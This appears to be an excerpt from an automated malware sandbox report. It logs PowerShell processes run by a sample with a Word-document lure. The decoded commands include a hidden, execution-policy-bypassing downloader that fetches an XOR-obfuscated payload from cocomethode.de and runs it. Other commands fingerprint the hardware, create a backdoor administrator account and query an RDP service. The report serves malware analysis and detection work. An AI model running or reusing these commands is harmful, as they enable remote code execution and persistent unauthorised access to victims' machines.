Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\Temp\myRdpService.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6280, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENCOdinG]::UTF8.GEtSTrING((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9aZA==")))).CONtENt))
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Start-Process powershell -WindowStyle hidden -ArgumentList "-WindowStyle Hidden", "-NoLogo", "-NoProfile", "-ExecutionPolicy Bypass", "-EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Base64 decoded IEX ([TEXT.ENCOdinG]::UTF8.GEtSTrING((IWr ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cHM6Ly9jb2NvbWV0aG9kZS5kZS9aZA==")))).CONtENt))	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $uri = "https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f";$count = 100;function Send { param( [PSObject] $logMsg ) # Convert body to string $stringBody = [string]($logMsg \| ConvertTo-Json); $logMessages = @(); $logMessages += $stringBody; $logMessages += "----------"; $headers = @{}; $key = "Content-Type"; $value = "application/json"; $headers[$key] = $value; $uri = "LOGURL"; try { $body = $logMessages \| ConvertTo-Json; Invoke-WebRequest -Uri $uri -Method Post -Headers $headers -Body $body } catch{ } }while($count -gt 0){try{ Send "begin download $uri";$content = Invoke-WebRequest -Uri $uri -UseBasicParsing; $byteArray = $content.content; for ($i = 0; $i -lt $byteArray.Length; $i++) { $byteArray[$i] = $byteArray[$i] -bxor 1; }Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($byteArray));break;}catch{Send $_.Exception.Message;$count -= 1;Start-Sleep -s 15;}}
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded function Get-Identity{ $hardDrives = Get-WmiObject -Class Win32_DiskDrive \| Where-Object { $_.MediaType -eq "Fixed hard disk media" -or $_.MediaType -eq "Fixed hard disk media - SSD" }$driveInfoArray = @()foreach ($hardDrive in $hardDrives) { $serialNumber = $hardDrive.SerialNumber $model = $hardDrive.Model $driveInfo = "Serial Number: $serialNumber, Model: $model" $driveInfoArray += $driveInfo}$combinedInfo = $driveInfoArray -join "`r`n"$cpuInfo = Get-WmiObject -Class Win32_Processor$cpuDetails = "ProcessorId: $($cpuInfo.ProcessorId), Name: $($cpuInfo.Name), MaxClockSpeed: $($cpuInfo.MaxClockSpeed), UniqueId: $($cpuInfo.UniqueId)"$allInfo = "$combinedInfo`r`n$cpuDetails"$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider$bytes = [System.Text.Encoding]::UTF8.GetBytes($allInfo)$hashBytes = $md5.ComputeHash($bytes)$hash = [BitConverter]::ToString($hashBytes) -replace '-' return $hash;}cd "C:\Windows\Temp";$test = Get-Identity;$test \| Out-File -FilePath "deviceId.txt" -Encoding UTF8
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded $Username = "User1";$pwd = "123456789!A1a"; $UserParams = @{'Name' = $Username; 'Password' = (ConvertTo-SecureString -String $pwd -AsPlainText -Force); 'PasswordNeverExpires' = $true};New-LocalUser @UserParams;$GroupParams = @{'Group' = 'Administrators'; 'Member' = $Username};Add-LocalGroupMember @GroupParams;
Source: C:\Windows\Temp\svczHost.exe	Process created: Base64 decoded get-service "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::AllScreens \| ForEach-Object { "$($_.Bounds.Width)x$($_.Bounds.Height)" } \| Out-File -FilePath "C:\Windows\Temp\dp"

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEB.tmp" "c:\Users\user\AppData\Local\Temp\st5qs1wr\CSC2C64D26780D497590A0A819DD9C4D5F.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBp